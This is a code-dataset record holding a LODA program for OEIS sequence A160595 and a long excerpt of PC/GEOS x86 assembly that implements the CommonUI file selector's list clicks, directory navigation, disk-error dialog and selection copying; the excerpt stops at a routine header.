2022-01-17T21:53:31.000Z
programs/oeis/160/A160595.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/160/A160595.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A160595: Numerator of resilience R(n) = phi(n)/(n-1), with a(1) = 1 by convention. ; 1,1,1,2,1,2,1,4,3,4,1,4,1,6,4,8,1,6,1,8,3,10,1,8,5,12,9,4,1,8,1,16,5,16,12,12,1,18,12,16,1,12,1,20,6,22,1,16,7,20,16,8,1,18,20,24,9,28,1,16,1,30,18,32,3,4,1,32,11,8,1,24,1,36,20,12,15,24,1,32,27,40,1,24,16,42,28,40,1,24,4,44,15,46,36,32,1,42,30,40 mov $2,$0 seq $0,10 ; Euler totient function phi(n): count numbers <= n and prime to n. gcd $2,$0 div $0,$2
55.5
249
0.612613
9b77b878715b382a2f530490a79ca812e25ea50e
118,114
asm
Assembly
Library/SpecUI/CommonUI/CUtils/copenFileSelectorLow.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/SpecUI/CommonUI/CUtils/copenFileSelectorLow.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/SpecUI/CommonUI/CUtils/copenFileSelectorLow.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @----------------------------------------------------------------------- Copyright (c) GeoWorks 1994 -- All Rights Reserved PROJECT: PC GEOS MODULE: CommonUI/COpen FILE: copenFileSelectorLow.asm ROUTINES: Name Description ---- ----------- INT OLFSNotifyUserOfDiskError Tell the user we were unable to register the disk when trying to switch out of volume mode. INT OLFSDerefIndexBuffer Fetch the offset of the given list entry in the file buffer. INT OLFSSendAD send notification of file being selected to action descriptor of GenFileSelector INT OLFSCopySelection copy current selection to generic instance data MTD MSG_GEN_FILE_SELECTOR_RESCAN rebuilds list using current volume, path (in generic instance data) INT OLFSSelectHomeFolder Select the home folder INT OLFSRescanLow Rebuild the list of things to display and display them. INT OLFSBuildEntryFlagsAndSendAD build GenFileSelectorEntryFlags and send to AD INT OLFSBuildEntryFlagsAndSendADLow Really low-level routine shared by OLFSBuildEntryFlagsAndSendAD and OLFileSelectorListMethod to accomplish the same thing. INT OLFSResolveSelection set current selection MTD MSG_GEN_FILE_SELECTOR_UP_DIRECTORY go up one directory MTD MSG_OL_FILE_SELECTOR_DOCUMENT_BUTTON go to document directory and turn on "can't navigate above current directory" mode, if requested MTD MSG_GEN_FILE_SELECTOR_OPEN_ENTRY Open entry specified. This should be used to manually open a directory or a volume, as needed when user clicks a "Open"-type button that is in the same dialog box as the GenFileSelector. Has no effect if entry is a file. Typically, the entry number passed will have been extracted from the GenFileSelectorEntryFlags sent to the action descriptor, or returned from MSG_GEN_FILE_SELECTOR_GET_SELECTION. Only valid after GenFileSelector is made visible, as the file list is destroyed when the File Selector is brought off the screen. MTD MSG_GEN_FILE_SELECTOR_SUSPEND Begin suspension of file selector rescanning to allow changing mulitple attributes with having multiple rescans. Only the following attribute setting methods are affect: MSG_GEN_FILE_SELECTOR_SET_SELECTION MSG_GEN_FILE_SELECTOR_SET_PATH MSG_GEN_FILE_SELECTOR_SET_MASK MSG_GEN_FILE_SELECTOR_SET_FILE_ATTRS MSG_GEN_FILE_SELECTOR_SET_TOKEN MSG_GEN_FILE_SELECTOR_SET_CREATOR MSG_GEN_FILE_SELECTOR_SET_GEODE_ATTR MSG_GEN_FILE_SELECTOR_SET_ATTRS MSG_GEN_FILE_SELECTOR_SET_FILE_CRITERIA MTD MSG_GEN_FILE_SELECTOR_END_SUSPEND End suspension of file selector rescanning. File selector is rescanned with current attributes. INT OLFSMemLock_ES Looks at its vis moniker to see if its mnemonic matches that key currently pressed. INT OLFSDeref_SI_Gen_DI Looks at its vis moniker to see if its mnemonic matches that key currently pressed. INT OLFSDeref_SI_Spec_DI Looks at its vis moniker to see if its mnemonic matches that key currently pressed. INT OLFSFindTempData Looks at its vis moniker to see if its mnemonic matches that key currently pressed. INT OLFSReplaceVisMonikerText Looks at its vis moniker to see if its mnemonic matches that key currently pressed. INT OLFSGetFileListSelection Looks at its vis moniker to see if its mnemonic matches that key currently pressed. INT OLFSUpdateChangeDrivePopupMoniker Looks at its vis moniker to see if its mnemonic matches that key currently pressed. INT OLFSGetCurrentDrive Looks at its vis moniker to see if its mnemonic matches that key currently pressed. INT OLFSDisableCloseAndChangeDirectoryButtonsIfFirstEntryAndIsRoot Looks at its vis moniker to see if its mnemonic matches that key currently pressed. INT OLFSDisableDocButtonIfDocDir Looks at its vis moniker to see if its mnemonic matches that key currently pressed. INT OLFSSetFileTableSelection Looks at its vis moniker to see if its mnemonic matches that key currently pressed. INT OLFSSetGenItemSelection Looks at its vis moniker to see if its mnemonic matches that key currently pressed. INT OLFSCallUIBlockGadget Looks at its vis moniker to see if its mnemonic matches that key currently pressed. INT OLFSStuffDriveAndVolumeName Looks at its vis moniker to see if its mnemonic matches that key currently pressed. INT OLFSSelectCurrentDriveInChangeDrivePopup Looks at its vis moniker to see if its mnemonic matches that key currently pressed. INT OLFSTurnOffGadgetry Looks at its vis moniker to see if its mnemonic matches that key currently pressed. INT OLFSSetUsableOnFlags Looks at its vis moniker to see if its mnemonic matches that key currently pressed. INT OLFSIsCurDirVirtualRoot Looks at its vis moniker to see if its mnemonic matches that key currently pressed. INT OLFSIsCurDirVirtualRootOrUnderVirtualRoot Looks at its vis moniker to see if its mnemonic matches that key currently pressed. INT OLFSGetVirtualRoot Looks at its vis moniker to see if its mnemonic matches that key currently pressed. INT OLFSHaveVirtualRoot Looks at its vis moniker to see if its mnemonic matches that key currently pressed. INT OLFSGetCurDir Looks at its vis moniker to see if its mnemonic matches that key currently pressed. INT HandleScalableUIData Looks at its vis moniker to see if its mnemonic matches that key currently pressed. MTD MSG_VIS_RECALC_SIZE Recalc's size. MTD MSG_VIS_POSITION_BRANCH Recalc's size. MTD MSG_META_KBD_CHAR Handle the keyboard input. MTD MSG_META_KBD_CHAR handle keyboard navigation MTD MSG_OL_FILE_SELECTOR_SET_HEADING MTD MSG_META_DELETE Delete the selected file in the List Screen. MTD MSG_TABLE_QUERY_DRAW Draw the table entry. INT DrawDatePrefix Draw the Symbol gutter if necessary. MTD MSG_TABLE_SELECT We use this method handler to handle double press. MTD MSG_TABLE_NOTIFY_SELECTION_CHANGED Notify the file selector about the change of the selection. MTD MSG_TABLE_STRING_LOCATE Locate the string in the table object which matches the given string. MTD MSG_TABLE_CHAR_LOCATE Given the character, locate the file entry in the file listing. MTD MSG_OLFS_TABLE_HEADING_SET_HEADING Set the string which will be displayed in the file list heading of the List Screen. MTD MSG_TABLE_QUERY_DRAW Draw the file selector heading. MTD MSG_VIS_COMP_GET_CHILD_SPACING Don't want any space between children. MTD MSG_GEN_VIEW_SCROLL_UP pass scrolling onto table object MTD MSG_META_CHECK_IF_INTERACTABLE_OBJECT This is called when a UserDoDialog is on the screen, to see if the passed object can get events. MTD MSG_OL_FILE_SELECTOR_DISK_ERROR_RESPONSE Response from the user on a disk error. MTD MSG_OL_FILE_SELECTOR_RENAME Rename the file listed in the file selector. INT OLFileSelectorContinueRename Continue the rename procedure. MTD MSG_OL_FILE_SELECTOR_COPY Duplicate the selected file. INT OLFileSelectorContinueCopy Continue the duplicating file operation. MTD MSG_OL_FILE_SELECTOR_CREATE_TEMPLATE Create a template file from the selected file. INT OLFileSelectorContinueCreateTemplate Continue to create the template file. MTD MSG_OL_FILE_SELECTOR_DELETE Delete the current selected file in the file selector. INT OLFileSelectorContinueDelete Continue the process of deleting the file. INT CallErrorDialog Inform the user of the error occured during the operation. INT OLFileSelectorGetFileName Get the name of the selected file in the FileSelector MTD MSG_OL_FILE_SELECTOR_GET_ENTRY_NAME MTD MSG_OL_FILE_SELECTOR_GET_NUM_OF_ENTRIES MTD MSG_OL_FILE_SELECTOR_SET_FILE_PATH Set the path which is stored in OL file selector. MTD MSG_VIS_OPEN Init. the its instance data REVISION HISTORY: Name Date Description ---- ---- ----------- dlitwin 10/10/94 Broken out of copenFileSelector.asm DESCRIPTION: $Id: copenFileSelectorLow.asm,v 1.3 98/03/08 17:01:15 gene Exp $ -------------------------------------------------------------------------------@ FileSelector segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFileSelectorListMethod %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: handle click on file/directory or volume name CALLED BY: INTERNAL PASS: *ds:si - OLFileSelector instance cx = entry # (OLFS_UP_DIRECTORY_ENTRY_NUM to go up a directory) RETURN: DESTROYED: NOTE: invalidates any chunk pointers, dereference them again or die PSEUDO CODE/STRATEGY: single click on first item --> send notification single click on any other item --> send notification double click on directory --> send notification & open double click on first item --> up directory KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 01/29/90 Initial version brianc 4/91 Completed 2.0 revisions %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFileSelectorDoublePress method OLFileSelectorClass, \ MSG_OL_FILE_SELECTOR_DOUBLE_PRESS mov bp, -1 ;say is double press GOTO HandleFileSelectorUserAction OLFileSelectorDoublePress endm OLFileSelectorListMethod method OLFileSelectorClass, \ MSG_OL_FILE_SELECTOR_LIST_MESSAGE clr bp ;no double press if _DUI ; ; if selecting already selected item, open it ; mov ax, TEMP_GEN_FILE_SELECTOR_DATA call ObjVarFindData jnc noOpen cmp cx, ds:[bx].GFSTDE_selectionNumber ; same? je openIt noOpen: endif mov di, segment olFileSelectorSingleClickToOpen mov es, di tst es:[olFileSelectorSingleClickToOpen] jz HandleFileSelectorUserAction call OLFSDeref_SI_Spec_DI test ds:[di].OLFSI_state, mask OLFSS_SINGLE_ACTION jz HandleFileSelectorUserAction ; ; Fake a double press. ; openIt:: mov bx, ds:[LMBH_handle] mov ax, MSG_OL_FILE_SELECTOR_DOUBLE_PRESS mov di, mask MF_FORCE_QUEUE call ObjMessage HandleFileSelectorUserAction label far doublePressFlag local word \ push bp fsChunk local word \ push si genAttrs local FileSelectorAttrs .enter call OLFSDeref_SI_Gen_DI ; save attrs for easy perusal mov ax, ds:[di].GFSI_attrs mov genAttrs, ax call OLFSDeref_SI_Spec_DI ; ds:di = specific instance ; showing parent dir? test ds:[di].OLFSI_state, mask OLFSS_SHOW_PARENT_DIR jz skipFirstEntryCheck ; nope, no special first entry ; handling LONG jcxz firstEntry skipFirstEntryCheck: cmp cx, OLFS_UP_DIRECTORY_ENTRY_NUM LONG je upDirectory ; ; handle click on any other item ; single click --> send notification ; double click --> send notification & open if directory ; ; *ds:si = OLFileSelector ; cx = entry number (non-zero if OLFSS_SHOW_PARENT_DIR) ; call OLFSDeref_SI_Spec_DI ; ds:di = specific instance push bp tst doublePressFlag mov bp, 0 ; (preserve flags) jz haveEntryFlags ; not double-press mov bp, mask GFSEF_OPEN ; else, signal open haveEntryFlags: call OLFSBuildEntryFlagsAndSendADLow ; es:si = locked entry buffer ; bx = file buffer handle ; (or bx=0 and es:si invalid, ; if no entries or first entry) pop bp tst bx ; this shouldn't happen! LONG jz done tst doublePressFlag jz updateCurDirPopupAndDoneUnlock ; single click, that's all ; ; double-click, if directory open it ; (file buffer will be nuked by rescan in MSG_OL_FILE_SELECTOR_PATH_SET) ; test genAttrs, mask FSA_ALLOW_CHANGE_DIRS jz doneUnlock ; no directory changing! test es:[si].OLFSE_fileAttrs, mask FA_SUBDIR ; directory? jz doneUnlock mov cx, es ; cx:dx = name of dir to open lea dx, es:[si].OLFSE_name mov si, fsChunk ; *ds:si = OLFileSelector push bp clr bp ; set relative to current dir. mov ax, MSG_OL_FILE_SELECTOR_PATH_SET call ObjCallInstanceNoLock pop bp LONG jnc done call OLFSNotifyUserOfDiskError ; report error and leave jmp done updateCurDirPopupAndDoneUnlock: push bx mov si, fsChunk ; *ds:si = OLFileSelector if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DIRECTORY_POPUP call OLFSShowCurrentDir endif pop bx doneUnlock: call MemUnlock ; unlock file buffer jmp done firstEntry: tst doublePressFlag ; double-press --> up directory jnz checkAndUpDirectory ; ; single click on current directory entry ; mov si, fsChunk ; *ds:si = OLFileSelector push bp clr bp ; first entry call OLFSBuildEntryFlagsAndSendAD ; send notification about click pop bp if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DIRECTORY_POPUP call OLFSShowCurrentDir ; update for selection change endif jmp done checkAndUpDirectory: test genAttrs, mask FSA_ALLOW_CHANGE_DIRS LONG jz done ; no changing directories upDirectory: call OLFSIsCurDirVirtualRoot ; are we at v.root? LONG jc done ; yes, do nothing ; ; Need to determine the last component of the current path so we can ; set it as the suggested selection when we rescan for the parent ; directory. This is made more interesting by the kernel's tendency ; to return a StandardPath + tail for any directory in the PC/GEOS ; tree, thus often giving us a root GFP_path. ; push bp mov bp, sp ; bp <- current sp for clearing once ; final component is found. mov cx, PATH_BUFFER_SIZE sub sp, cx if HAVE_FAKE_FILE_SYSTEM call OLFSDeref_SI_Gen_DI test ds:[di].GFSI_fileCriteria, mask FSFC_USE_FAKE_FILE_SYSTEM jnz useFakeFS endif mov ax, ATTR_GEN_PATH_DATA mov dx, TEMP_GEN_PATH_SAVED_DISK_HANDLE call GenPathFetchDiskHandleAndDerefPath mov si, bx ; ds:si <- GenFilePath mov di, sp segmov es, ss mov bx, ds:[si].GFP_disk ; bx <- current disk push si ; save base of GenFilePath add si, offset GFP_path ; ds:si <- path tail (empty, but ; this is convenient) clr dx ; don't add drive name, thanks. call FileConstructFullPath pop si ; ds:si <- GenFilePath mov cx, ss ; cx:dx <- path from which to get mov dx, sp ; final component. mov di, sp havePath:: cmp {word}ss:[di], C_BACKSLASH or (0 shl 8) ; really root? DBCS < jne notRoot > DBCS < cmp {wchar}ss:[di][2], 0 > je clearStackAndGoUp ; yes, don't bother with search DBCS <notRoot: > ; ; Find the end of the whole thing. cx:dx = string to scan ; mov es, cx mov di, dx mov cx, -1 SBCS < clr al > DBCS < clr ax > LocalFindChar ; get to the end, first repne scasb/w ; ; Now scan backwards for the first backslash. ; not cx ; cx <- count, including null LocalLoadChar ax, C_BACKSLASH ; search for first backslash LocalPrevChar esdi ; starting with null std LocalFindChar ; repne scasb/scasw cld jne atBackslash ; => no backslash, so DI is just before the ; start of the string, meaning we want to ; do only a single-increment LocalNextChar esdi ; else point di at backslash atBackslash: LocalNextChar esdi ; skip over backslash mov si, di mov di, ss:[bp] ; di <- frame pointer mov di, ss:[di+offset fsChunk] ; *ds:di <- GenFileSelector mov di, ds:[di] add di, ds:[di].Gen_offset ; ds:di = Gen instance segxchg ds, es ; ds:si <- tail, es:di <- GFSI_selection SBCS < mov cx, size GFSI_selection > DBCS < mov cx, (size GFSI_selection)/2 > DBCS < CheckHack <((size GFSI_selection) and 1) eq 0> > add di, offset GFSI_selection LocalCopyNString ; rep movsb/movsw segmov ds, es ; ds <- object segment, again clearStackAndGoUp: ; ; Clear the stack of any path buffer we created. ; mov sp, bp pop bp mov si, fsChunk ; *ds:si = GenFileSelector ; ; Now be easy and just set the path to be ".." relative to the current ; one. This will cause a rescan, etc. etc. etc. ; push bp NOFXIP< mov cx, cs > NOFXIP< mov dx, offset dotdotString > FXIP < push ds > FXIP < segmov ds, cs, dx > FXIP < mov dx, offset dotdotString > FXIP < clr cx > FXIP < call SysCopyToStackDSDX > FXIP < mov cx, ds ; cx:dx = string > FXIP < pop ds > clr bp ; relative to current dir. setPath: mov ax, MSG_GEN_PATH_SET ; re-use GFI_selection call ObjCallInstanceNoLock FXIP < call SysRemoveFromStack > popDone: pop bp done: .leave ret if HAVE_FAKE_FILE_SYSTEM ; ; OK, we need to get the path (so we can pick out the last ; element and set the selector appropriately). ; useFakeFS: mov dx, sp mov cx, ss mov ax, MSG_GEN_FILE_SELECTOR_FAKE_PATH_GET call ObjCallInstanceNoLock mov di, dx dec di ; if the last char is a ; backslash then we are at ; root. See havePath.. mov dx, sp jmp havePath endif ; HAVE_FAKE_FILE_SYSTEM OLFileSelectorListMethod endp LocalDefNLString dotdotString <"..", 0> LocalDefNLString rootPath <C_BACKSLASH, 0> COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFSNotifyUserOfDiskError %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Tell the user we were unable to register the disk when trying to switch out of volume mode. CALLED BY: OLFileSelectorListMethod PASS: *ds:si -- file selector RETURN: nothing DESTROYED: ax, bx, cx, dx, si, di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 1/29/92 Initial version chris 7/20/93 Mucked up %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFSNotifyUserOfDiskError proc near uses bp, es .enter if HAVE_FAKE_FILE_SYSTEM ; ; If the file selector is using a FAKE_FILE_SYSTEM, then it's ; expected to handle its own errors and not rely on the ; default file selector error handling. ; call OLFSDeref_SI_Gen_DI test ds:[di].GFSI_fileCriteria, mask FSFC_USE_FAKE_FILE_SYSTEM jnz done endif ; ; Set up the parameters to notify the user of our inability to open ; the disk volume, with no one needing to be notified when the user ; has acknowledged. ; mov dx, size GenAppDoDialogParams sub sp, dx mov bp, sp if SINGLE_DRIVE_DOCUMENT_DIR mov ss:[bp].GADDP_finishOD.chunk, si mov ax, ds:[LMBH_handle] mov ss:[bp].GADDP_finishOD.handle, ax mov ss:[bp].GADDP_message, \ MSG_OL_FILE_SELECTOR_DISK_ERROR_RESPONSE clr ax mov ss:[bp].GADDP_dialog.SDP_helpContext.segment, ax mov ss:[bp].GADDP_dialog.SDP_customFlags, \ CustomDialogBoxFlags <TRUE, CDT_ERROR, GIT_MULTIPLE_RESPONSE, 0, 0> if _FXIP mov cx, (size StandardDialogResponseTriggerEntry * 2) \ + size word ; cx = size of table segmov es, cs, di mov di, offset DNF_Triggers ; es:di = table call SysCopyToStackESDI movdw ss:[bp].GADDP_dialog.SDP_customTriggers, esdi else mov ax, offset DNF_Triggers movdw ss:[bp].GADDP_dialog.SDP_customTriggers, csax endif else clr ax mov ss:[bp].GADDP_finishOD.chunk, ax mov ss:[bp].GADDP_finishOD.handle, ax mov ss:[bp].GADDP_message, ax mov ss:[bp].GADDP_dialog.SDP_helpContext.segment, ax mov ss:[bp].GADDP_dialog.SDP_customFlags, \ CustomDialogBoxFlags <FALSE, CDT_ERROR, GIT_NOTIFICATION, 0, 0> movdw ss:[bp].GADDP_dialog.SDP_customTriggers, axax endif mov bx, handle DiskNotFoundString call MemLock push bx mov es, ax mov bx, offset DiskNotFoundString mov ax, es:[bx] movdw ss:[bp].SDP_customString, esax ; ; Call the application object, passing the requisite data on the stack ; mov ax, MSG_GEN_APPLICATION_DO_STANDARD_DIALOG mov di, mask MF_STACK or mask MF_CALL or mask MF_FIXUP_DS clr bx call GeodeGetAppObject call ObjMessage pop bx call MemUnlock ; ; Done... ; if SINGLE_DRIVE_DOCUMENT_DIR and _FXIP call SysRemoveFromStack endif add sp, size GenAppDoDialogParams done:: .leave ret OLFSNotifyUserOfDiskError endp if SINGLE_DRIVE_DOCUMENT_DIR DNF_Triggers label StandardDialogResponseTriggerTable word 2 ; SDRTT_numTriggers StandardDialogResponseTriggerEntry < DiskNotFound_OK, ; SDRTE_moniker IC_OK ; SDRTE_responseValue > StandardDialogResponseTriggerEntry < DiskNotFound_Cancel, ; SDRTE_moniker IC_DISMISS ; SDRTE_responseValue > endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFSDerefIndexBuffer %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Fetch the offset of the given list entry in the file buffer. CALLED BY: INTERNAL PASS: ds:di = OLFileSelectorInstance cx = entry # (0-origin) RETURN: si = offset of OLFileSelectorEntry in file buffer DESTROYED: bx, es PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc ?/?/? Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFSDerefIndexBuffer proc near class OLFileSelectorClass EC < cmp cx, ds:[di].OLFSI_numFiles > EC < ERROR_AE OL_FILE_SELECTOR_BAD_ENTRY_NUMBER > mov si, cx shl si, 1 ; si = offset in index buffer mov bx, ds:[di].OLFSI_indexBuffer call OLFSMemLock_ES ; lock index buffer mov si, es:[si] ; si = offset in file buffer call MemUnlock ; unlock index buffer ret OLFSDerefIndexBuffer endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFSSendAD %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: send notification of file being selected to action descriptor of GenFileSelector CALLED BY: INTERNAL OLFileSelectorListMethod OLFileSelectorRescan PASS: *ds:si = OLFileSelector ax = entry # clicked on cx = GenFileSelectorEntryFlags (see genFileSelector.asm) GFSEF_TYPE - type of entry clicked on GFSET_FILE - if clicked on file GFSET_SUBDIR - if clicked on subdirectory GFSET_VOLUME - if clicked on volume GFSEF_OPEN - if double-clicked to open GFSEF_NO_ENTRIES - if no entries in list GFSEF_ERROR - set if error occured reading file list GFSEF_TEMPLATE - set if file is a template (from GFHF_TEMPLATE) GFSEF_SHARED_MULTIPLE - set if file is shared with multiple writers (from GFHF_SHARED_MULTIPLE) GFSEF_SHARED_SINGLE - set if file is shared with single writer (from GFHF_SHARED_SINGLE) GFSEF_READ_ONLY - set if file is read-only (from FA_RDONLY) GFSEF_PARENT_DIR - set if current selection is the parent directory entry (first entry) if RUDY & non-exclusive, bp = GenFileSelectorEntryFlags mask ax = number of selections dx = handle of block containing selections RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: send to AD: cx - entry # of selection bp - GenFileSelectorEntryFlags GFSEF_TYPE - type of entry clicked on GFSET_FILE - click on file GFSET_SUBDIR - click on subdirectory GFSET_VOLUME - click on volume GFSEF_OPEN - if double click GFSEF_NO_ENTRIES - if no entries in list GFSEF_ERROR - set if error occured reading file list GFSEF_TEMPLATE - set if file is a template (from GFHF_TEMPLATE) GFSEF_SHARED_MULTIPLE - set if file is shared with multiple writers (from GFHF_SHARED_MULTIPLE) GFSEF_SHARED_SINGLE - set if file is shared with single writer (from GFHF_SHARED_SINGLE) GFSEF_READ_ONLY - set if file is read-only (from FA_RDONLY) GFSEF_PARENT_DIR - set if current selection is the parent directory entry (first entry) KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 02/14/90 Initial version brianc 4/91 Completed 2.0 revisions %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFSSendAD proc near uses ax, bx, cx, dx, si, di, bp class GenFileSelectorClass .enter call OLFSCopySelection ; copy selection into Gen mov bp, cx ; pass flags in bp mov cx, ax ; cx = entry # call OLFSDeref_SI_Gen_DI ; ds:di = generic instance pushdw ds:[di].GFSI_destination ; push OD to which to send mov ax, ds:[di].GFSI_notificationMsg; ax = message to send ; force queue, in case output ; is obj run by UI thread mov di, mask MF_FORCE_QUEUE ;If we do not clear the queue ; before sending this, it is ; possible that the file ; selector will not be in a ; valid state. call GenProcessAction ;use standard utility to ship ; it .leave ret OLFSSendAD endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFSCopySelection %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: copy current selection to generic instance data CALLED BY: INTERNAL OLFSSendAD PASS: *ds:si - file selector instance ax = entry # clicked on cx = GenFileSelectorEntryFlags (see genFileSelector.asm) GFSEF_TYPE - type of entry clicked on GFSET_FILE - if clicked on file GFSET_SUBDIR - if clicked on subdirectory GFSET_VOLUME - if clicked on volume GFSEF_OPEN - if double-clicked to open GFSEF_NO_ENTRIES - if no entries in list GFSEF_ERROR - if error occurred (this is cleared before storing in generic instance data as MSG_GEN_FILE_SELECTOR_GET_SELECTION never returns this bit) GFSEF_TEMPLATE - set if file is a template (from GFHF_TEMPLATE) GFSEF_SHARED_MULTIPLE - set if file is shared with multiple writers (from GFHF_SHARED_MULTIPLE) GFSEF_SHARED_SINGLE - set if file is shared with single writer (from GFHF_SHARED_SINGLE) GFSEF_READ_ONLY - set if file is read-only (from FA_RDONLY) GFSEF_PARENT_DIR - set if current selection is the parent directory entry (first entry) if RUDY & non-exclusive, bp = GenFileSelectorEntryFlags mask ax = number of selections dx = handle of block containing selections (can be 0 if no selections) RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: For the Rudy version, if the file selector is non-exclusive, do something similar to what we did in OLFSBuildEntryFlagsAndSendADLow, and insert a loop around the code that processes one file. And instead of copying to GFSI_selection, copy to the buffer at EFSI_selections KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 03/02/90 Initial version brianc 4/91 Completed 2.0 revisions %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFSCopySelection proc near uses ax, bx, cx, dx, si, es, di, bp class OLFileSelectorClass .enter andnf cx, not mask GFSEF_ERROR ; clear error flag call OLFSFindTempData ; ds:bx = GFS temp data ; MAY CAUSE OBJ BLOCK MOTION! mov ds:[bx].GFSTDE_selectionFlags, cx ; save selection flags mov ds:[bx].GFSTDE_selectionNumber, ax ; save selection # mov bx, ax ; bx = entry # skipTempShme:: segmov es, ds call OLFSDeref_SI_Gen_DI ; ds:di = generic instance add di, GFSI_selection ; es:di = selection field SBCS < mov {byte} es:[di], 0 ; in case no files, etc. > DBCS < mov {wchar}es:[di], 0 ; in case no files, etc. > ; ; use entry number to get filename from buffer ; bx = entry # ; es:di = dest buffer for selection ; *ds:si = OLFileSelector ; push di ; save dest buffer offset call OLFSDeref_SI_Spec_DI ; ds:di = specific instance ; showing parent dir? test ds:[di].OLFSI_state, mask OLFSS_SHOW_PARENT_DIR pop di ; restore dest buffer offset jz actualBufferEntry ; not showing parent dir, ; use actual buffer entry tst bx ; first entry? jnz bufferEntry ; no, is buffer entry ; ; use '.' to indicate current directory selected ; mov ax, '.' or (0 shl 8) stosw ; stuff '.' DBCS < clr ax > DBCS < stosw > jmp short oneFileEnd bufferEntry: dec bx ; convert to buffer entry # actualBufferEntry: push di ; save dest buffer offset call OLFSDeref_SI_Spec_DI ; ds:di = specific instance tst ds:[di].OLFSI_numFiles ; any files? pop di ; restore dest buffer offset jz oneFileEnd ; nope, nothing to copy EC < push cx > mov cx, bx push es, di ; save selection dest buffer call OLFSDeref_SI_Spec_DI ; ds:di = specific instance call OLFSDerefIndexBuffer ; si = file buffer offset mov bx, ds:[di].OLFSI_fileBuffer ; lock file buffer pop es, di ; restore selection dest buffer call MemLock mov ds, ax ; ds:si = entry to get ; ; get file/directory selection ; EC < pop cx > EC < andnf cx, mask GFSEF_TYPE > EC < mov ax, GFSET_SUBDIR shl offset GFSEF_TYPE > EC < test ds:[si].OLFSE_fileAttrs, mask FA_SUBDIR > EC < jnz checkType EC < mov ax, GFSET_VOLUME shl offset GFSEF_TYPE > EC < test ds:[si].OLFSE_fileAttrs, mask FA_VOLUME > EC < jnz checkType > EC < mov ax, GFSET_FILE shl offset GFSEF_TYPE > EC <checkType: > EC < cmp ax, cx > EC < ERROR_NE OL_FILE_SELECTOR_BAD_ENTRY_TYPE > add si, offset OLFSE_name SBCS < mov cx, FILE_LONGNAME_BUFFER_SIZE ; cx = size of buffer for name> DBCS < mov cx, FILE_LONGNAME_BUFFER_SIZE/2 ; cx = size of buffer for name> SBCS < rep movsb > DBCS < rep movsw > call MemUnlock ; unlock file buffer segmov ds, es ; ds <- object segment, again oneFileEnd: exit:: .leave ret OLFSCopySelection endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFSResetSearch 